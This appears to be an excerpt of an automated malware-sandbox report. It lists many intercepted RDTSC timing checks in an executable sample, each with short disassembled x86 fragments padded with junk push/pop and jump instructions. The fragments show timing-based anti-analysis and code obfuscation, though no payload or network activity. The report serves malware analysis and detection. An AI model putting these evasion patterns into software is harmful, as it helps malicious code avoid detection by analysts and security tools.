Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: E7465B second address: E746B9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F17B0EA9AC8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a push 00000000h 0x0000000c push ebp 0x0000000d call 00007F17B0EA9AB8h 0x00000012 pop ebp 0x00000013 mov dword ptr [esp+04h], ebp 0x00000017 add dword ptr [esp+04h], 00000016h 0x0000001f inc ebp 0x00000020 push ebp 0x00000021 ret 0x00000022 pop ebp 0x00000023 ret 0x00000024 mov dl, 99h 0x00000026 lea eax, dword ptr [ebp+124980FEh] 0x0000002c sub dword ptr [ebp+122D3212h], ebx 0x00000032 nop 0x00000033 jp 00007F17B0EA9ABEh 0x00000039 push eax 0x0000003a pushad 0x0000003b push eax 0x0000003c push edx 0x0000003d pushad 0x0000003e popad 0x0000003f rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: E746B9 second address: E746FC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007F17B0FD572Fh 0x0000000c pushad 0x0000000d popad 0x0000000e popad 0x0000000f popad 0x00000010 nop 0x00000011 sub ecx, 23B02D9Ah 0x00000017 lea eax, dword ptr [ebp+124980BAh] 0x0000001d jl 00007F17B0FD572Ch 0x00000023 mov edi, 3B8A1FCCh 0x00000028 push eax 0x00000029 push eax 0x0000002a push edx 0x0000002b push ebx 0x0000002c jnl 00007F17B0FD5726h 0x00000032 pop ebx 0x00000033 rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: E746FC second address: E4F722 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F17B0EA9AC0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c js 00007F17B0EA9ABCh 0x00000012 mov dword ptr [ebp+122D327Bh], ebx 0x00000018 call dword ptr [ebp+122D324Eh] 0x0000001e push ebx 0x0000001f push eax 0x00000020 push edx 0x00000021 ja 00007F17B0EA9AB6h 0x00000027 jmp 00007F17B0EA9AC4h 0x0000002c rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: E4F722 second address: E4F73E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F17B0FD5735h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: E4F73E second address: E4F77C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 jns 00007F17B0EA9AB6h 0x0000000c popad 0x0000000d pop ebx 0x0000000e push eax 0x0000000f push edx 0x00000010 jns 00007F17B0EA9AC9h 0x00000016 push eax 0x00000017 push edx 0x00000018 jmp 00007F17B0EA9AC3h 0x0000001d rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: E4F77C second address: E4F79D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F17B0FD5737h 0x00000007 jl 00007F17B0FD5726h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: E4F79D second address: E4F7AE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F17B0EA9ABBh 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: EA7421 second address: EA7432 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 jmp 00007F17B0FD572Bh 0x0000000b rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: EA7A30 second address: EA7A88 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 jnp 00007F17B0EA9AB6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c ja 00007F17B0EA9ABEh 0x00000012 pushad 0x00000013 jmp 00007F17B0EA9AC5h 0x00000018 jno 00007F17B0EA9AB6h 0x0000001e popad 0x0000001f popad 0x00000020 pushad 0x00000021 jmp 00007F17B0EA9AC7h 0x00000026 jbe 00007F17B0EA9ABCh 0x0000002c push eax 0x0000002d push edx 0x0000002e rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: EA7BF5 second address: EA7C23 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F17B0FD572Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edi 0x0000000a push eax 0x0000000b push edx 0x0000000c jg 00007F17B0FD573Bh 0x00000012 rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: EA7C23 second address: EA7C4A instructions: 0x00000000 rdtsc 0x00000002 jne 00007F17B0EA9ACFh 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: EA7C4A second address: EA7C4E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: EA7DAC second address: EA7DB2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: EA7DB2 second address: EA7DBB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: EA7DBB second address: EA7DBF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: EA7DBF second address: EA7DC9 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F17B0FD5726h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: EA7DC9 second address: EA7DDA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 pushad 0x00000008 pushad 0x00000009 jg 00007F17B0EA9AB6h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: EA9A11 second address: EA9A1C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 push eax 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: EA9A1C second address: EA9A50 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F17B0EA9ABFh 0x00000007 jmp 00007F17B0EA9AC9h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pop ecx 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 pop eax 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: EA9A50 second address: EA9A54 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: E23D77 second address: E23D9D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F17B0EA9ABDh 0x00000009 popad 0x0000000a jmp 00007F17B0EA9AC4h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: E23D9D second address: E23DA3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: E23DA3 second address: E23DA9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: E23DA9 second address: E23DAF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: EAF2F5 second address: EAF312 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F17B0EA9AC3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push ebx 0x0000000c pop ebx 0x0000000d push ebx 0x0000000e pop ebx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: EAE064 second address: EAE068 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: EAE1BB second address: EAE1BF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: EAE7B5 second address: EAE7D0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F17B0FD5733h 0x00000007 push eax 0x00000008 push edx 0x00000009 push ebx 0x0000000a pop ebx 0x0000000b push ebx 0x0000000c pop ebx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: EAE7D0 second address: EAE7D4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: EAEFA3 second address: EAEFA8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: EAEFA8 second address: EAEFAE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: EAEFAE second address: EAEFB4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: EB4EEE second address: EB4EF2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: EB4EF2 second address: EB4EF6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: EB3BC9 second address: EB3BF0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pushad 0x00000006 push eax 0x00000007 pop eax 0x00000008 pushad 0x00000009 popad 0x0000000a jnc 00007F17B0EA9AB6h 0x00000010 popad 0x00000011 pushad 0x00000012 jmp 00007F17B0EA9AC1h 0x00000017 pushad 0x00000018 popad 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: EB3D22 second address: EB3D26 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: EB3D26 second address: EB3D40 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F17B0EA9AB6h 0x00000008 jp 00007F17B0EA9AB6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 jl 00007F17B0EA9ABEh 0x00000016 pushad 0x00000017 popad 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: EB3E7D second address: EB3E83 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: EB3E83 second address: EB3E87 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: EB42B7 second address: EB42C7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F17B0FBC26Bh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: EB4577 second address: EB457B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: EB457B second address: EB4583 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: EB4583 second address: EB4588 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: EB4CEB second address: EB4D25 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 jmp 00007F17B0FBC26Bh 0x0000000b jg 00007F17B0FBC285h 0x00000011 jmp 00007F17B0FBC26Eh 0x00000016 jmp 00007F17B0FBC271h 0x0000001b push eax 0x0000001c push edx 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: EB4D25 second address: EB4D2B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: EB4D2B second address: EB4D2F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: EB4D2F second address: EB4D33 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: EB90B1 second address: EB90D0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F17B0FBC274h 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: EB90D0 second address: EB90D4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: EB8907 second address: EB890D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: EB890D second address: EB8911 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: EB8BBD second address: EB8BDA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F17B0FBC26Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007F17B0FBC26Ch 0x0000000e rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: EB8BDA second address: EB8BF1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 jmp 00007F17B0CB1431h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: EBB52A second address: EBB52E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: EBB52E second address: EBB532 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: E1D171 second address: E1D175 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: E1D175 second address: E1D184 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007F17B0CB1426h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: E1D184 second address: E1D19A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007F17B0FBC266h 0x0000000a jmp 00007F17B0FBC26Ah 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: E1D19A second address: E1D1A7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jl 00007F17B0CB142Eh 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: EC0761 second address: EC0791 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F17B0FBC26Eh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b jo 00007F17B0FBC26Ch 0x00000011 jng 00007F17B0FBC266h 0x00000017 push edx 0x00000018 jns 00007F17B0FBC266h 0x0000001e pop edx 0x0000001f pushad 0x00000020 jnc 00007F17B0FBC266h 0x00000026 push eax 0x00000027 push edx 0x00000028 rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: EC0BBC second address: EC0BC0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: EC0BC0 second address: EC0BC4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: EC0BC4 second address: EC0BD5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 pushad 0x0000000a popad 0x0000000b push esi 0x0000000c pop esi 0x0000000d popad 0x0000000e push eax 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: EC5D6E second address: EC5D74 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: EC5032 second address: EC503A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: EC503A second address: EC503E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: EC503E second address: EC5042 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: EC5042 second address: EC507D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F17B0FBC26Fh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push esi 0x0000000c pushad 0x0000000d popad 0x0000000e pop esi 0x0000000f pop edx 0x00000010 pop eax 0x00000011 push eax 0x00000012 push edx 0x00000013 jbe 00007F17B0FBC26Eh 0x00000019 jl 00007F17B0FBC270h 0x0000001f jmp 00007F17B0FBC26Ah 0x00000024 rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: EC507D second address: EC5096 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnc 00007F17B0CB1426h 0x0000000a jmp 00007F17B0CB142Fh 0x0000000f rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: EC5096 second address: EC50C1 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F17B0FBC273h 0x0000000f jmp 00007F17B0FBC26Eh 0x00000014 rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: EC561E second address: EC5632 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F17B0CB1436h 0x00000008 jmp 00007F17B0CB142Ah 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: EC575A second address: EC576E instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F17B0FBC266h 0x00000008 jns 00007F17B0FBC266h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: EC576E second address: EC5772 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: EC5772 second address: EC577C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push edi 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: EC591B second address: EC5938 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F17B0CB142Bh 0x00000009 jmp 00007F17B0CB142Eh 0x0000000e rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: ECB2BB second address: ECB2E0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jnc 00007F17B0FBC266h 0x0000000f jmp 00007F17B0FBC276h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: ECAAE9 second address: ECAAED instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: ECAAED second address: ECAB0A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F17B0FBC277h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: E25813 second address: E25817 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: E25817 second address: E2581D instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: ED0CEC second address: ED0CF6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007F17B0CB1426h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: ED1183 second address: ED1193 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop ebx 0x00000006 push eax 0x00000007 push edx 0x00000008 jc 00007F17B0FBC268h 0x0000000e push edx 0x0000000f pop edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: ED1193 second address: ED119D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jo 00007F17B0CB1426h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: ED119D second address: ED11A1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: ED11A1 second address: ED11AE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 pop eax 0x00000009 push eax 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: ED1F0F second address: ED1F40 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F17B0FBC26Eh 0x00000009 popad 0x0000000a pushad 0x0000000b jmp 00007F17B0FBC275h 0x00000010 jp 00007F17B0FBC266h 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: ED1F40 second address: ED1F56 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pushad 0x00000008 jmp 00007F17B0CB142Ch 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: ED1F56 second address: ED1F64 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 popad 0x0000000a pushad 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: ED1F64 second address: ED1F98 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007F17B0CB1426h 0x0000000a jne 00007F17B0CB1426h 0x00000010 popad 0x00000011 jno 00007F17B0CB143Fh 0x00000017 push eax 0x00000018 push edx 0x00000019 push ebx 0x0000001a pop ebx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: ED2279 second address: ED227F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
